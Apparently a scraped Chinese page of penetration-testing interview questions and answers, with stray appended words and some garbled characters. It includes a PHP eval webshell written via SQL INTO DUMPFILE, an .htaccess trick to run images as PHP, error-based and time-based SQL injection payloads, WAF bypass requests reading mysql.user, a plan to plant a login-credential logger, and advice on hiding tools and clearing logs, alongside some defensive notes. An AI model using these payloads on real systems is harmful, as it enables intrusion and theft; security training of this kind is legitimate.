一套实用的渗透测试岗位面试题

 注意:ctrl+A显示答案php

1.拿到一个待检测的站,你以为应该先作什么?css

收集信息
whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说...前端

2.mysql的网站注入,5.0以上和5.0如下有什么区别?
5.0如下没有information_schema这个系统表,没法列表名等,只能暴力跑表名。
5.0如下是多用户单操做,5.0以上是多用户多操作。mysql

3.在渗透过程当中,收集目标站注册人邮箱对咱们有什么价值?
丢社工库里看看有没有泄露密码,而后尝试用泄露的密码进行登陆后台。
用邮箱作关键词进行丢进搜索引擎。
利用搜索到的关联信息找出其余邮进而获得经常使用社交帐号。
社工找出社交帐号,里面或许会找出管理员设置密码的习惯 。
利用已有信息生成专用字典。
观察管理员常逛哪些非大众性网站,拿下它,你会获得更多好东西。linux

4.判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。
若是开源,还能下载相对应的源码进行代码审计。nginx

5.一个成熟而且相对安全的CMS,渗透时扫目录的意义?
敏感文件、二级目录扫描
站长的误操做好比:网站备份的压缩文件、说明.txt、二级目录可能存放着其余站点web

6.常见的网站服务器容器。
IISApachenginxLighttpdTomcat面试

7.mysql注入点,用工具对目标站直接写入一句话,须要哪些条件?
root权限以及网站的绝对路径。sql

8.目前已知哪些版本的容器有解析漏洞,具体举例。
IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
IIS 7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
Nginx
版本小于等于0.8.37,利用方法和IIS 7.0/7.5同样,Fast-CGI关闭状况下也可利用。
空字节代码 xxx.jpg%00.php
Apache
上传的文件命名为:test.php.x1.x2.x3Apache是从右往左判断后缀
lighttpd
xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!shell

9.如何手工快速判断目标站是windows仍是linux服务器?
linux大小写敏感,windows大小写不敏感。

10.为什么一个mysql数据库的站,只有一个80端口开放?
更改了端口,没有扫描出来。
站库分离。
3306端口不对外开放

11.3389没法链接的几种状况。
没开放3389 端口
端口被修改
防御拦截
处于内网(需进行端口转发)

12.如何突破注入时字符被转义?
宽字符注入
hex编码绕过

13.在某后台新闻编辑界面看到编辑器,应该先作什么?
查看编辑器的名称版本,而后搜索公开的漏洞。

14.拿到一个webshell发现网站根目录下有.htaccess文件,咱们能作什么?
能作的事情不少,用隐藏网马来举例子:
插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php 
.jpg文件会被解析成.php文件。
具体其余的事情,很差详说,建议你们本身去搜索语句来玩玩。

15.注入漏洞只能查帐号密码?
只要权限广,拖库脱到老。

16.安全狗会追踪变量,从而发现出是一句话木马吗?
是根据特征码,因此很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。

17.access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用。
迅雷下载,直接改后缀为.mdb

18.提权时选择可读写目录,为什么尽可能不用带空格的目录?
由于exp执行多半须要空格界定参数

19.某服务器有站点A,B 为什么在A的后台添加test用户,访问B的后台。发现也添加上了test用户?
同数据库。

20.注入时能够不使用and or xor,直接order by 开始注入吗?
and/or/xor,前面的1=11=2步骤只是为了判断是否为注入点,若是已经肯定是注入点那就能够省那步骤去。

21:某个防注入系统,在注入时会提示:
系统检测到你有非法注入的行为。 已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1
如何利用这个防注入系统拿shell
URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候能够尝试寻找网站的配置文件 直接上菜刀连接。具体文章参见:一句话木马在防注入中的重生-= 奇闻录-笑 =

22.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码。

23.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增长上传类型就能突破限制了。

24.目标站禁止注册用户,找回密码处随便输入用户名提示:此用户不存在,你以为这里怎样利用?
先爆破用户名,再利用被爆破出来的用户名爆破密码。
其实有些站点,在登录处也会这样提示
全部和数据库有交互的地方都有可能有注入。

25.目标站发现某txt的下载地址为Client Validation,你有什么思路?
这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,而后在首页文件里继续查找其余网站的配置文件,能够找出网站的数据库密码和数据库的地址。

26.甲给你一个目标站,而且告诉你根目录下存在/abc/目录,而且此目录下存在编辑器和admin目录。请问你的想法是?
直接在网站二级目录/abc/下扫描敏感文件及目录。

27.在有shell的状况下,如何使用xss实现对目标站的长久控制?
后台登陆处加一段记录登陆帐号密码的js,而且判断是否登陆成功,若是登陆成功,就把帐号密码记录到一个生僻的路径的文件中或者直接发到本身的网站文件中。(此方法适合有价值而且须要深刻控制权限的网络)
在登陆后才能够访问的文件中插入XSS脚本。

28.后台修改管理员密码处,原密码显示为*。你以为该怎样实现读出这个用户的密码?
审查元素 把密码处的password属性改为text就明文显示了

29.目标站无防御,上传图片能够正常访问,上传脚本格式访问则403.什么缘由?
缘由不少,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

30.审查元素得知网站所使用的防御软件,你以为怎样作到的?
在敏感操做被拦截,经过界面信息没法具体判断是什么防御的时候,F12HTML体部 好比护卫神就能够在名称那看到内容。

31.win2003服务器中创建一个 .zhongzi文件夹用意何为?
隐藏文件夹,为了避免让管理员发现你传上去的工具。

32sql注入有如下两个测试选项,选一个而且阐述不选另外一个的理由:

A. demo.jsp?id=2+1 

B. demo.jsp?id=2-1
B,在 URL 编码中 表明空格,可能会形成混淆
33、如下连接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==
DATA有可能通过了 base64 编码再传入服务器,因此咱们也要对参数进行 base64 编码才能正确完成测试
34、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪一种是优选?

有写入权限的,构造联合查询语句使用using INTO OUTFILE,能够将查询的输出重定向到系统的文件中,这样去写入 WebShell
使用 sqlmap –os-shell 原理和上面一种相同,来直接得到一个 Shell,这样效率更高
经过构造联合查询语句获得网站管理员的帐户和密码,而后扫后台登陆后台,再在后台经过改包上传等方法上传 Shell
35CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中能够构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是因为没有在关键操做执行时进行是否由用户自愿发起的确认。修复方式:筛选出须要防范CSRF的页面而后嵌入Token、再次输入密码、检验Referer
XXEXML外部实体注入攻击,XML中能够经过调用实体来请求本地或者远程内容,和远程文件保护相似,会引起相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
36CSRFSSRF和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起
SSRF是服务器端请求伪造,由服务器发起
重放攻击是将截获的数据包进行重放,达到身份认证等目的
37、说出至少三种业务逻辑漏洞,以及修复方式?

密码找回漏洞中存在密码容许暴力破解、存在通用型找回凭证、能够跳过验证步骤、找回凭证能够拦包获取等方式来经过厂商提供的密码找回功能来获得密码
身份认证漏洞中最多见的是会话固定攻击和 Cookie 仿冒,只要获得 Session 或 Cookie 便可伪造用户身份
验证码漏洞中存在验证码容许暴力破解、验证码能够经过 Javascript 或者改包的方法来进行绕过
38、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” HTTP/1.1

Host:.com:82

User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1

Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3

Referer:http://.com/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=145902

Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;

uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;st_uid=N90PLYHLZGJXI-NX01VPUF46W;status=TrueConnection:keep-alive
11

39、找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
40、你经常使用的渗透工具备哪些,最经常使用的是哪一个?
41、描述一个你深刻研究过的 CVE 或 POC

第二套面试题:

给你一个网站你是如何来渗透测试的?
在获取书面受权的前提下。
1)信息收集,
1,获取域名的whois信息,获取注册者邮箱姓名电话等。
2,查询服务器旁站以及子域名站点,由于主站通常比较难,因此先看看旁站有没有通用性的cms或者其余漏洞。
3,查看服务器操做系统版本,web中间件,看看是否存在已知的漏洞,好比IISAPACHE,NGINX的解析漏洞
4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,好比 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5,扫描网站目录结构,看看是否能够遍历目录,或者敏感文件泄漏,好比php探针
6google hack 进一步探测网站的信息,后台,敏感文件
2)漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其余权限
4)权限提高
提权服务器,好比windowsmysqludf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6)总结报告及修复方案
sqlmap,怎么对一个注入点注入?
1)若是是get型号,直接,sqlmap -u "诸如点网址".
2) 若是是post型诸如点,能够sqlmap -u "注入点网址” --data="post的参数"
3)若是是cookieX-Forwarded-For等,能够访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,而后sqlmap -r "文件地址"
nmap,扫描的几种方式
sql注入的几种类型?
1)报错注入
2bool型注入
3)延时注入
4)宽字节注入
报错注入的函数有哪些?
1and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)经过floor报错 向下取整
3+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4.geometrycollection()select from test where id=1 and geometrycollection((select from(select from(select user())a)b));
5.multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6.polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7.multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9.multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10.exp()select from test where id=1 and exp(~(select * from(select user())a));
延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
盲注和延时注入的共同点?
都是一个字符一个字符的判断
如何拿一个网站的webshell
上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,好比dedecms后台能够直接创建脚本文件,wordpress上传插件包含脚本文件zip压缩包等
sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
如何防止CSRF?
1,验证referer
2,验证token
owasp 漏洞都有哪些?
1SQL注入防御方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺乏功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发
SQL注入防御方法?
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不容许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询以前,对特殊字符进行过滤、转义、替换、删除。
代码执行,文件读取,命令执行的函数都有哪些?
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
img标签除了onerror属性外,还有其余获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
img标签除了onerror属性外,而且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。

 

代码审计
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()

命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

绕过walf

1、关键字能够用%(只限IIS系列)。好比select,能够sel%e%ct。原理:网络层wafSEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dllSEL%E%CT进行url解码却变成selectIIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d09tab,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。

2、通杀的,内联注释。安全狗不拦截,可是安全宝、加速乐、D盾等,看到/!/Fack了,因此只限于安全狗。好比:/!select*/

3、编码。这个方法对waf颇有效果,由于通常waf会解码,可是咱们利用这个特色,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等均可以这样bypass的。

4,绕过策略一:伪造搜索引擎

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改成搜索引擎

5360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,若是是则不作拦截

GET /pen/news.php?id=1 union select user,password from mysql.user

GET /pen/news.php/admin?id=1 union select user,password from mysql.user

  1. GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user

6multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF

7,参数绕过,复制参数,id=1&id=1

用一些特殊字符代替空格,好比在mysql%0a是换行,能够代替空格,这个方法也能够部分绕过最新版本的安全狗,在sqlserver中能够用/**/代替空格

8,内联注释,

文件上传,复制文件包一份再加一份

在 form-data;后面增长必定的字符
宽字符注入

宽字符:解 决方法:就是在初始化链接和字符集以后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件通常是 my.iniLinux下的MySQL配置文件通常是my.cnf,好比:mysql_query("SETcharacter_set_client=binary");character_set_client指定的是SQL语句的编码,若是设置为 binaryMySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。

相关文章
相关标签/搜索